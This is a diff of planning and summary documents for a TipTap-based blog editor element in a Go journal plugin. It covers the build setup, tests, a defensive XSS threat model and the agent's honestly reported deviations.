+Tests: extend tests/blogeditor/smoke.test.ts with one case per remaining behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder, the link URL rule, the policy corpus (UPDATE_CORPUS=1 to regenerate; plans 03 and 04 check it against the Go policy and the layer) and the upload flow. Commit as feat(editor) with the dist, the corpus and README, staged by explicit path.</action>
+  <verify>
+    <automated>../sm-journal-plugin/node_modules/.bin/tsc --noEmit -p ../sm-journal-plugin &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; go -C ../sm-journal-plugin vet ./...</automated>
+    <fails_when>Non-zero exit: tsc reports a type error, any vitest case fails (untouched round trip, block reuse, rawHtml text card, attribute preservation, tables, links and the URL rule, embed parsing and round trip, upload flow, or the corpus differing from the editor's output), check-dist prints "check-dist: assets/dist is stale", or go vet fails.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "export function serializeDocument" ../sm-journal-plugin/assets/src/blogeditor/serializer.ts`, `grep -n "export function parseEmbedUrl" ../sm-journal-plugin/assets/src/blogeditor/embed.ts` and `grep -n "export function isPolicyUrl" ../sm-journal-plugin/assets/src/blogeditor/extensions.ts` each print one line.
+    - ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json parses as JSON, holds at least 15 entries including one whose html contains `data-embed="youtube"`, one with `<figcaption>`, one with `<table>` and one with `start="3"`, and `grep -cE '<iframe|target=|rel=| on[a-z]+=|style=' ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` prints 0.
+    - The vitest run reports every case passing, including the block-reuse case (only the edited paragraph differs) and the embed round trip producing the exact placeholder.
+    - `grep -c "data-embed" ../sm-journal-plugin/assets/dist/blogeditor.js` prints at least 1, and the dist matches a fresh build (check-dist passes).
+    - `grep -oE 'summer-(upload-result|upload|change)' ../sm-journal-plugin/assets/dist/blogeditor.js | sort -u | wc -l` prints 3 (the bundle uses all three fixed element contract event names shared with plan 01).
+    - README.md has a "Blog Editor" heading.
+  </acceptance_criteria>
+  <done>Edited documents keep unknown markup and unedited blocks, the toolbar covers text, links, tables, images, embeds and raw HTML, images upload through the SPA contract, and the editor's own output is committed as the policy corpus that plans 03 and 04 test.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| stored post HTML → admin editor DOM | imported or previously saved HTML is parsed into the editor inside the admin origin |
+| editor → SPA (events) | the element hands files and values to the SPA; the SPA owns the session |
+| npm registry → plugin build | the editor packages enter the committed bundle |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-09 | Elevation of Privilege (admin XSS) | rawHtml node view | high | mitigate | The card renders the stored source with textContent, never innerHTML; ProseMirror parses through the schema, so script is never a node; a test asserts a rawHtml with an onerror attribute creates no img element in the editor DOM |
+| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value goes through classes.SanitizeHTML in the plan 03 Decode on every locale (D-10 amended: strip, never refuse), the save names what was removed and the SPA puts the stored value back into the element; the layer sanitizes again before v-html |
+| T-16.2-11 | Tampering | link mark | medium | mitigate | isAllowedUri is replaced by isPolicyUrl (http, https, mailto, relative only, scheme read after removing control characters and spaces), the same rule both sanitizer policies apply; tests cover javascript:, data:, tel: and a tab-split scheme |
+| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
+| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
+| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |
+</threat_model>
+
+<verification>
+- Task 1: registry report printed and a human approved the packages.
+- Task 2: smoke tests, check-dist, go vet and the classes and controllers tests pass.
+- Task 3: typecheck, the full vitest suite, check-dist and go vet pass.
+</verification>
+
+<success_criteria>
+- D-01, D-03 (client half), D-04, D-05 (editor half, including the committed policy corpus), D-13 (element half), D-16 and D-18 (editor half) delivered in sm-journal-plugin with a committed, embedded bundle and a drift gate.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md` when done, with the package report, the human reply, the installed versions, the commit hashes and the bundle size.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md

@@ -0,0 +1,298 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 02
+subsystem: journal-admin-editor
+tags: [sm-journal-plugin, tiptap, prosemirror, custom-elements, vite, vitest, blog-editor, embeds, uploads]
+
+requires:
+  - phase: 16.2-01
+    provides: the field type element contract (value property, attributes, summer-change, summer-upload, summer-upload-result) and the SPA host that loads plugin field type scripts as module scripts
+provides:
+  - custom element golem15-journal-blogeditor (BlogEditorElement), committed bundle assets/dist/blogeditor.js and blogeditor.css embedded through admin.go
+  - preservationExtensions, isPolicyUrl, RawHtml, Embed, Figure, FigureImage, Figcaption, Span, HtmlAttributes (extensions.ts)
+  - serializeDocument and captureBlocks (serializer.ts), parseEmbedUrl and EMBED_PROVIDERS (embed.ts), labelsFor (labels.ts), buildToolbar (toolbar.ts)
+  - tests/blogeditor/fixtures/editor-corpus.json, the editor's own output for the plan 03 Go policy test and the plan 04 layer copy
+  - sm-journal-plugin JS build (package.json, package-lock.json, vite.config.ts, tsconfig.json) and the scripts/check-dist.sh drift gate
+affects: [16.2-03, 16.2-04, 16.2-05, 16.2-06, journal]
+
+actuals:
+  tokens: 29500
+  tasks: 2
+  commits: 3
+plan_head_before: c60abc6d6220d5f9f15659d1cc5ec7d8dd1f5020
+plan_head_after: 086e485
+commits_repo: ../sm-journal-plugin
+
+tech-stack:
+  added:
+    - "@tiptap/core 3.31.4"
+    - "@tiptap/pm 3.31.4"
+    - "@tiptap/starter-kit 3.31.4"
+    - "@tiptap/extension-table 3.31.4"
+    - "@tiptap/extension-image 3.31.4"
+    - "vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3 (dev, same pins as the admin SPA)"
+  patterns:
+    - "Untouched value: the element returns the exact served string until a user-originated docChanged transaction or a Source tab input"
+    - "Top-level block reuse: the original HTML is split by source position, each piece parsed alone, and runs of nodes still Node.eq to the captured ones are emitted as their original bytes (LCS alignment after prefix/suffix trimming)"
+    - "Stored HTML never reaches the live admin DOM: raw blocks are text cards, serializer and raw renderHTML work in an inert document, on* attributes are never captured"
+    - "Committed, minified plugin bundle with a temp-dir rebuild and diff -r drift gate"
+
+key-files:
+  created:
+    - ../sm-journal-plugin/.gitignore
+    - ../sm-journal-plugin/package.json
+    - ../sm-journal-plugin/package-lock.json
+    - ../sm-journal-plugin/tsconfig.json
+    - ../sm-journal-plugin/vite.config.ts
+    - ../sm-journal-plugin/scripts/check-dist.sh
+    - ../sm-journal-plugin/assets/src/blogeditor/index.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/element.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/embed.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/labels.ts
+    - ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
+    - ../sm-journal-plugin/assets/dist/blogeditor.js
+    - ../sm-journal-plugin/assets/dist/blogeditor.css
+    - ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
+    - ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
+    - ../sm-journal-plugin/tests/blogeditor/helpers.ts
+    - ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
+    - ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
+  modified:
+    - ../sm-journal-plugin/admin.go
+    - ../sm-journal-plugin/plugin_test.go
+    - ../sm-journal-plugin/README.md
+
+key-decisions:
+  - "TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (reply: packages approved)"
+  - "The bundle is built through Vite's application pipeline with a single ES entry, fixed names and preserved exports, not build.lib: library mode never minifies whitespace in ES output (587 KB vs 466 KB)"
+  - "Images are inline (Image inline: true), so an uncaptioned image is <p><img src alt></p>; a captioned one is <figure><img><figcaption></figure> through a block figureImage node"
+  - "Link parsing, rendering and commands all use isPolicyUrl: a stored link with another scheme (tel:, ftp:) keeps its text but loses the link when its block is edited, the same result the server policy gives on an edited save"
+  - "Raw HTML cards cover the plan's tags plus article, main, address, dl, iframe, video, audio, picture, object, embed, form, svg, math, script and noscript, so more stored markup survives an edit; the server still strips what its policy does not allow"
+  - "Event handler attributes (on*) are never captured by the global attribute map, so they never reach the live admin DOM"
+  - "External values (value setter, Source tab re-parse) are loaded outside the undo history"
+
+patterns-established:
+  - "Plugin-owned JS build: package.json with exact pins, committed lockfile, committed dist, scripts/check-dist.sh"
+  - "Editor corpus: entries built only through editor commands and typing, committed as JSON, rewritten with UPDATE_CORPUS=1"
+
+requirements-completed: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
+
+coverage:
+  - id: D1
+    description: "Element defined once; untouched imported post returns byte for byte; no summer-change on set or echo; one summer-change per user edit; Source tab shows and edits the exact string; disabled and invalid; value kept across detach"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#blog editor element (tracer)"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Raw HTML cards (text only, no live img/script), unmodelled attributes and spans kept on edited blocks, block reuse leaves every other top-level block byte-identical (and undo restores the exact fixture), tables with thead and bare cell text, links keep target/rel and gain none, no trailing paragraph"
+    requirement: D-04
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#preservation schema"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "parseEmbedUrl accepts watch?v=, youtu.be/, shorts/, embed/ and refuses everything else; the embed node renders exactly the placeholder, shows a card and never an iframe; a malformed placeholder stays raw HTML; toolbar URL input"
+    requirement: D-05
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#embeds"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "Picker and drop send summer-upload {id, file}; summer-upload-result {id, url} opens the alt/caption form and inserts img or figure; {id, error} and the 60 s timeout show the error and insert nothing; non-matching ids are ignored"
+    requirement: D-18
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#image uploads"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "isPolicyUrl, setLink and the link input accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and tab/newline-split schemes are refused; created links have href only"
+    requirement: D-05
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#links and the URL rule"
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Toolbar offers every D-04 feature, en and pl labels, formatting, undo/redo and table editing, raw HTML block opens Source at the insert, raw card opens its source"
+    requirement: D-13
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#toolbar"
+        status: pass
+    human_judgment: false
+  - id: D7
+    description: "editor-corpus.json (15 entries) equals a fresh build through editor commands and holds no iframe, handler, target, rel or style and only policy URLs"
+    requirement: D-05
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/tests/blogeditor/corpus.test.ts"
+        status: pass
+    human_judgment: false
+  - id: D8
+    description: "Committed bundle matches a fresh build, is embedded, has no eval/new Function; go vet clean"
+    requirement: D-16
+    verification:
+      - kind: other
+        ref: "bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./..."
+        status: pass
+    human_judgment: false
+  - id: D9
+    description: "The element in the real admin SPA: typing, selection, toolbar, drag and drop, uploads through the cabana route, CSS in light and dark mode"
+    verification: []
+    human_judgment: true
+    rationale: "happy-dom covers the logic, not browser selection or layout; plan 03 registers the field type and plan 05/06 run the UAT browser check"
+
+duration: 25min
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 02: Blog Editor element Summary
+
+**`golem15-journal-blogeditor`, a TipTap 3.31.4 WYSIWYG editor with an exact-HTML Source tab, returns an untouched imported post byte for byte and, after an edit, keeps every unedited top-level block's original bytes; it ships raw HTML cards, figures, YouTube embed placeholders, policy-only links, SPA-mediated image uploads, a committed policy corpus and a minified bundle embedded in sm-journal-plugin with a drift gate.**
+
+## Performance
+
+- **Duration:** about 25 min
+- **Started:** 2026-10-10T09:31:47Z
+- **Completed:** 2026-10-10T09:56Z
+- **Tasks:** 3 (Task 1 resolved by the orchestrator, Tasks 2 and 3 executed)
+- **Files:** 24 in sm-journal-plugin (21 created, 3 modified)
+
+## Task 1 checkpoint (resolved): package report
+
+The orchestrator ran the plan's registry verify command for the five editor packages at 3.31.4. Result: `registry-ok`.
+
+| Package | Version | License | Repository | Install scripts |
+|---------|---------|---------|------------|-----------------|
+| @tiptap/core | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
+| @tiptap/pm | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
+| @tiptap/starter-kit | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
+| @tiptap/extension-table | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
+| @tiptap/extension-image | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
+
+Maintainers are on the tiptap.dev and ueber.io domains plus tiptap-bot; 3.31.4 is the current `latest` dist-tag.
+
+Human reply, verbatim:
+
+> packages approved
+
+Version Task 2 installed: **3.31.4**, pinned exactly (`npm install --save-exact`) for all five packages. Installed devDependencies: vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. npm 12 blocked esbuild 0.27.7's `postinstall` (not in `allowScripts`); esbuild works without it through its optional platform package `@esbuild/linux-x64`, so no script was approved.
+
+## Accomplishments
+
+- **Build (D-16):** private ESM `package.json` with exact pins and a committed `package-lock.json`; `vite.config.ts` builds `assets/src/blogeditor/index.ts` into `assets/dist/blogeditor.js` and `blogeditor.css` (fixed names, minified, exports kept) and configures vitest on happy-dom; `scripts/check-dist.sh` rebuilds into a temp dir and fails with `check-dist: assets/dist is stale; run npm run build and commit assets/dist`; `node_modules/` ignored; `admin.go` embeds both files.
+- **Element (D-01, D-03, D-13):** light-DOM `BlogEditorElement` with the value/dirty logic of the interfaces skeleton, `emitUpdate: false` loads outside the undo history, `summer-change` on user edits only, an exact-string Source tab, `disabled`, `invalid`, `locale` (as `lang`) and `ui-locale` (labels); `injectCSS: false` with the ProseMirror base rules in `blogeditor.css`, every selector under the tag and only `--c-*` colours.
+- **Preservation (D-03, D-04):** `rawHtml` text cards with an "Edit as HTML" action, `figure`/`figureImage`/`figcaption`, `embed`, `span` mark, the `htmlAttributes` global attribute map, tables without colgroup or min-width, cells without TipTap's align rewrite, StarterKit without the trailing node and with links that gain nothing.
+- **Serializer:** `captureBlocks` splits the source by position, validates that the pieces parse to the same DOM as the whole, and parses each alone; `serializeDocument` aligns the captured blocks with the document (prefix, suffix, LCS) and emits original bytes for unchanged runs, raw HTML verbatim and the rest through `DOMSerializer` in an inert document, with tables in thead/bare-cell form. `editor.getHTML()` is never the value.
+- **Toolbar, embeds, links, uploads (D-04, D-05, D-18):** `buildToolbar` with every listed control; `parseEmbedUrl` and `EMBED_PROVIDERS` (YouTube only); `isPolicyUrl` as Link's `isAllowedUri` and in the link input; uploads by picker or drop as `summer-upload`, insert on `summer-upload-result` with a required alt and optional caption, error and 60 s timeout in an `aria-live` status line.
+- **Corpus (D-05):** `editor-corpus.json` with 15 entries (`embed-youtube`, `image-without-caption`, `image-with-caption`, `table-header-row`, `links`, `headings`, `bullet-list`, `ordered-list`, `blockquote`, `ordered-list-start-3`, `inline-marks`, `code-block`, `horizontal-rule`, `hard-break`, `combined`), built only through editor commands and typing.
+- **README:** a "Blog Editor" section (element, contract, untouched values, embeds, link rule, upload flow, JS build, corpus) plus Dependencies and Testing lines.
+
+## Task Commits
+
+All code commits are in `../sm-journal-plugin` (branch main):
+
+1. **Task 1: package check** - resolved by the orchestrator (no commit)
+2. **Task 2: tracer** - `234e616` build(editor): blog editor JS build and drift gate; `47f3032` feat(editor): blog editor element with exact untouched value
+3. **Task 3: expansion** - `086e485` feat(editor): preservation schema, block reuse, toolbar, uploads and embeds
+
+## Bundle
+
+- `assets/dist/blogeditor.js`: 466,051 bytes minified (147,281 bytes gzip -9)
+- `assets/dist/blogeditor.css`: 7,480 bytes
+- `grep -cE "eval\(|new Function\(" assets/dist/blogeditor.js` prints 0; the only `createElement("style")` is TipTap's unused `createStyleTag` (injectCSS is false).
+
+## Verification
+
+- Task 2 verify (tracer gate re-run before expansion): smoke tests, `check-dist.sh`, `go vet ./...` and `go test ./classes/ ./controllers/...` passed.
+- Task 3 verify: `tsc --noEmit`, the full vitest run (2 files, 33 tests), `check-dist.sh` and `go vet ./...` pass.
+- Acceptance greps: the tag is in the bundle, `admin.go` has one embed line for the bundle, `git check-ignore node_modules` prints `node_modules`, `serializeDocument`/`parseEmbedUrl`/`isPolicyUrl` are exported, the corpus has 15 entries with the embed, figcaption, table and `start="3"` and 0 matches of `<iframe|target=|rel=| on[a-z]+=|style=`, `data-embed` is in the bundle, and all three event names are in it.
+
+## TDD (Task 3, tdd="true")
+
+- **RED:** the expanded `smoke.test.ts` and `corpus.test.ts` were written and run against the Task 2 element before the schema, serializer, toolbar and element wiring. Target test `preservation schema > leaves every other top-level block byte-identical after editing one paragraph` failed on its assertion (footer, style block, table and figure flattened, link attributes reordered). `msd_run check tdd-red-evidence` returned `RED_EVIDENCE_OK` (`target_test_failed`). vitest's `tap-flat` reporter prints no `# tests/# pass/# fail` lines, so those three lines were counted from its non-skipped `ok`/`not ok` lines and appended to the record.
+- **GREEN:** the implementation made all 33 cases pass.
+- **Commit shape:** the plan prescribes one `feat(editor)` commit for Task 3, so no separate `test(...)` RED commit exists. `embed.ts`, `labels.ts` and `extensions.ts` were drafted just before the tests, so the `parseEmbedUrl` and `isPolicyUrl` cases were already green at RED time; every behavior that needed the schema, serializer, toolbar or upload flow was red.
+
+## Decisions Made
+
+See key-decisions in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Fixture source not readable; synthetic fixture with the same structure**
+- **Found during:** Task 2
+- **Issue:** The environment's permission classifier refused every read of `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json` (PII data handling), including `ls`.
+- **Fix:** `imported-post.html` is a synthetic post with the structure the plan requires: rendered-markdown blocks (h2, h3, p with em/strong, ul, ol, blockquote, links), the author footer in the shape the repository already uses in `classes/format_html_test.go` (`itemscope`, `itemtype`, `itemprop`, `div` and `span` with `style`, neutral name and `cdn.example.test` photo), a `style` block, a table with thead, a figure with img and figcaption, a link with `target` and `rel`, a paragraph with `&quot;` entities, plus `&amp;`, `&nbsp;`, `&ndash;` and `&times;`. No real author or post text is copied. A human may swap in the real export later; the tests do not depend on its wording.
+- **Commit:** 47f3032
+
+**2. [Rule 3 - Blocking] Library mode does not minify ES output**
+- **Found during:** Task 2
+- **Issue:** Vite 7 `build.lib` with `formats: ['es']` forces `minifyWhitespace: false` (587 KB); the acceptance assumes a minified bundle.
+- **Fix:** the same single ES entry through `rollupOptions.input` with `preserveEntrySignatures: 'exports-only'`, `entryFileNames: 'blogeditor.js'`, `assetFileNames: 'blogeditor[extname]'`, `modulePreload: false` (384 KB at Task 2, 466 KB at Task 3). The admin loads it as `type="module"`, as before.
+- **Files modified:** vite.config.ts
+- **Commit:** 234e616
+
+**3. [Rule 2 - Security] on* attributes never captured; uploaded URLs checked**
+- **Found during:** Task 3
+- **Issue:** a global attribute map that captures every unmodelled attribute would render `onerror`/`onload` from stored HTML into the live admin DOM; an upload answer could carry a URL outside the policy.
+- **Fix:** `captureAttributes` and `renderCaptured` skip `on*` names (test asserts the editor's `img` has no `on*` attribute); a `summer-upload-result` URL that fails `isPolicyUrl` is shown as an upload error. The serializer and the raw HTML `renderHTML` build DOM only in an inert document.
+- **Commit:** 086e485
+
+**4. [Rule 1 - Bug] Replaced values in the undo history; edited value lost on detach**
+- **Found during:** Task 3
+- **Issue:** TipTap's `setContent` records history, so undo after an external value brought back the replaced document; after `disconnectedCallback` destroyed the editor, a dirty value fell back to the served string.
+- **Fix:** loads run as `chain().setMeta('addToHistory', false).setContent(...)`; on disconnect a dirty WYSIWYG value is kept as the element's value. Both have tests.
+- **Commit:** 086e485
+
+**5. Files outside the plan's lists**
+- `serializer.ts` was created in Task 2 (minimal, `DOMSerializer` only) so the tracer never used `getHTML()`; Task 3 replaced it as planned.
+- `tests/blogeditor/helpers.ts` holds the shared mount/typing helpers of both test files.
+- `plugin_test.go` (`TestJournalSVGEmbed`) asserts that `AdminFS` holds both bundle files and that the script defines the tag. The root package's `TestMain` starts testcontainers, so this runs only on a Docker host (plan 06); it compiles and `go vet` is clean here.
+
+**6. Scope notes on plan wording**
+- `RAW_HTML_TAGS` covers more tags than the plan lists (see key-decisions).
+- Stored links with a scheme outside the policy keep their text but not the link once their block is edited (the plan said "preserved in the editor"); unedited blocks keep their bytes. This matches what the server does on an edited save.
+- In edited blocks, link attributes come out as `target`, `rel`, `href` (TipTap merges the null option defaults first); values are unchanged and unedited blocks keep their bytes.
+- Table cells drop TipTap's `align` attribute so a stored `style="text-align: ..."` or `align` is kept verbatim through the attribute map instead of being rewritten.
+- In the corpus, the `blockquote` builder sits between the two ordered-list builders so the `combined` document keeps two lists (TipTap joins adjacent lists).
+
+---
+
+**Total deviations:** 4 auto-fixed (2 blocking, 1 security, 1 bug) plus file and scope notes. **Impact:** no change to the element contract, the embed markup or the corpus shape that plans 03 and 04 consume.
+
+## Issues Encountered
+
+- No Docker on this host: the root package's Go tests (including the new AdminFS assertion) need testcontainers and run in plan 06.
+- happy-dom covers the element logic, but not browser selection, IME, real drag and drop or layout; the browser check belongs to the UAT step.
+
+## Known Stubs
+
+None. The `field-name`, `record-id` and `options` attributes are accepted and unused, because this type has no options and does not need the record id; that is the contract, not a stub.
+
+## Next Phase Readiness
+
+- Plan 03 registers `blogeditor`/`mlblogeditor` with `Element: "golem15-journal-blogeditor"`, `Scripts: ["assets/dist/blogeditor.js"]` and `Styles: ["assets/dist/blogeditor.css"]` (already in `adminFS`), and reads `tests/blogeditor/fixtures/editor-corpus.json` in place for the Go policy test. The policy must allow `figure` `data-embed`/`data-id`, any `img` `alt` (the corpus has one with `:`, `?` and `"`), and `ol` `start`.
+- Plan 04 copies `editor-corpus.json` byte for byte into the layer and mirrors the embed provider table (one YouTube entry, id `^[A-Za-z0-9_-]{11}$`).
+
+## Broken-windows ledger
+
+- deviation: `tests/blogeditor/fixtures/imported-post.html` (sm-journal-plugin) is synthetic.
+- unrun-verify: the new `TestJournalSVGEmbed` assertion in sm-journal-plugin `plugin_test.go` needs Docker (plan 06).
+
+## Self-Check: PASSED
+
+- Created files exist in ../sm-journal-plugin: assets/src/blogeditor/{index,element,extensions,serializer,toolbar,embed,labels}.ts, blogeditor.css, assets/dist/blogeditor.js and .css, tests/blogeditor/{helpers,smoke.test,corpus.test}.ts, fixtures/imported-post.html and editor-corpus.json, scripts/check-dist.sh, package.json, package-lock.json, vite.config.ts, tsconfig.json, .gitignore.
+- Commits exist in ../sm-journal-plugin: 234e616, 47f3032, 086e485.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md

@@ -0,0 +1,378 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 03
+type: execute
+wave: 2
+depends_on: ["16.2-01", "16.2-02"]
+coupling_justified: ["16.2-04: both plans add the same four editor-output rules (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt any text, ol start integer), each in its own repository; the set is fixed in both plans' text and checked against the same plan 02 corpus, neither plan reads the other's files, and either one stops and reports if the corpus needs a fifth rule"]
+files_modified:
+  - ../sm-journal-plugin/classes/format_html.go
+  - ../sm-journal-plugin/classes/editor_policy_test.go
+  - ../sm-journal-plugin/classes/blog_editor.go
+  - ../sm-journal-plugin/classes/media_store.go
+  - ../sm-journal-plugin/classes/media_store_test.go
+  - ../sm-journal-plugin/field_types.go
+  - ../sm-journal-plugin/controllers/posts.go
+  - ../sm-journal-plugin/controllers/categories.go
+  - ../sm-journal-plugin/controllers/posts_editor_smoke_test.go
+  - ../sm-journal-plugin/controllers/api/media.go
+  - ../sm-journal-plugin/controllers/api/media_test.go
+  - ../sm-journal-plugin/models/post/fields.yaml
+  - ../sm-journal-plugin/models/category/fields.yaml
+  - ../sm-journal-plugin/lang/en/lang.yaml
+  - ../sm-journal-plugin/lang/pl/lang.yaml
+  - ../sm-journal-plugin/posts_admin_smoke_test.go
+  - ../sm-journal-plugin/journal_api_categories_test.go
+  - ../sm-journal-plugin/README.md
+  - .planning/notes/journal-html-sanitizing-bluemonday.md
+autonomous: true
+requirements: [D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-14, D-18, D-19]
+estimate:
+  tokens: 110000
+  raw_tokens: 110000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-08 and D-14: Journal registers the field types blogeditor and mlblogeditor (element golem15-journal-blogeditor, script assets/dist/blogeditor.js, style assets/dist/blogeditor.css) on the plugin; post content in models/post/fields.yaml is type mlblogeditor; excerpt keeps mltextarea."
+    - "D-10 (amended 2026-10-10) and D-04: Decode accepts a string (nil decodes to the empty string) and stores classes.SanitizeHTMLReport's output for every locale cabana hands it, post and category content alike, the raw HTML block and source-tab edits included: the exact submitted bytes and no notice when the policy keeps everything, otherwise the stripped HTML plus pact.FormFieldNotice values naming the removed elements, attributes and comments (lang keys with en and pl plural forms); a save never fails because of unsafe markup; any other value type is a FormFieldError (422 on content)."
+    - "D-02: an admin save that writes content stores the same sanitized HTML in content and content_html for that locale: the host column through FormBeforeCreate/FormBeforeUpdate, a non-default locale through FormAfterCreate/FormAfterUpdate and the translation writer; the admin path no longer runs goldmark (FormatHTML) on content."
+    - "D-03 (Journal half) and todo journal-imported-html-admin-resave: a save that does not write content (cabana skipped it as untouched) leaves content and content_html byte-identical."
+    - "D-07 (assumption A1): Load serves content when its first non-whitespace character is '<'; otherwise (a markdown post) it serves that locale's content_html, and FormatHTML(content) when content_html is empty; there is no format flag and no new column."
+    - "D-09: POST and PUT /_journal/api/v1/posts keep markdown content with FormatHTML-rendered content_html, and POST /_journal/api/v1/media/upload keeps its response shape and validation messages."
+    - "D-19 (amended): category content uses blogeditor (not translatable, matching the Go model and the frozen PHP tree) and is stripped and reported like post content; the 422 CheckHTML gate in the Categories controller's FormBeforeCreate/FormBeforeUpdate is retired (blank content still becomes NULL) and TestCategoriesAdminContent asserts the strip; no public category write path exists (routes.go mounts GET /_journal/api/v1/categories only), so no public contract changes."
+    - "D-18 (Journal half): the blogeditor and mlblogeditor Upload stores an image through the media storage extracted from the public upload route (same key layout /journal/<folder>/<name>, same unique suffix, same public URL), accepts only jpg, jpeg, png, gif and webp whose first bytes sniff as that image type, at most 10240 KiB."
+    - "D-05 (amended): htmlPolicy is extended for exactly the Blog Editor's own output, and nothing else: figure data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start matching ^[0-9]+$; every entry of plan 02's editor-corpus.json passes SanitizeHTML byte for byte with an empty removal report (TestEditorOutputPassesPolicy), while iframe, other data-* attributes, other providers and malformed ids are still stripped."
+  artifacts:
+    - path: "../sm-journal-plugin/classes/blog_editor.go"
+      provides: "BlogEditorTypes, LooksLikeHTML and the Decode/Load/ListValue/Upload funcs"
+      contains: "func BlogEditorTypes"
+    - path: "../sm-journal-plugin/classes/format_html.go"
+      provides: "SanitizeHTMLReport, HTMLRemovals and the editor-output policy extension"
+      contains: "func SanitizeHTMLReport"
+    - path: "../sm-journal-plugin/classes/editor_policy_test.go"
+      provides: "the Go half of the editor-output policy cross-check"
+      contains: "TestEditorOutputPassesPolicy"
+    - path: "../sm-journal-plugin/classes/media_store.go"
+      provides: "StoreMedia shared by the public upload route and the editor Upload"
+      contains: "func StoreMedia"
+    - path: "../sm-journal-plugin/field_types.go"
+      provides: "Plugin.FormFieldTypes (pact.HasFormFieldTypes)"
+      contains: "HasFormFieldTypes"
+    - path: "../sm-journal-plugin/models/post/fields.yaml"
+      provides: "post content on the Blog Editor"
+      contains: "mlblogeditor"
+  key_links:
+    - from: "../sm-journal-plugin/classes/blog_editor.go decodeBlogHTML"
+      to: "../sm-journal-plugin/classes/format_html.go SanitizeHTMLReport"
+      via: "FormFieldDecoded{Value: sanitized, Notices: removalNotices(report)} per locale"
+      pattern: "SanitizeHTMLReport"
+    - from: "../sm-journal-plugin/classes/editor_policy_test.go"
+      to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02)"
+      via: "every corpus entry must come back from SanitizeHTML unchanged"
+      pattern: "editor-corpus.json"
+    - from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
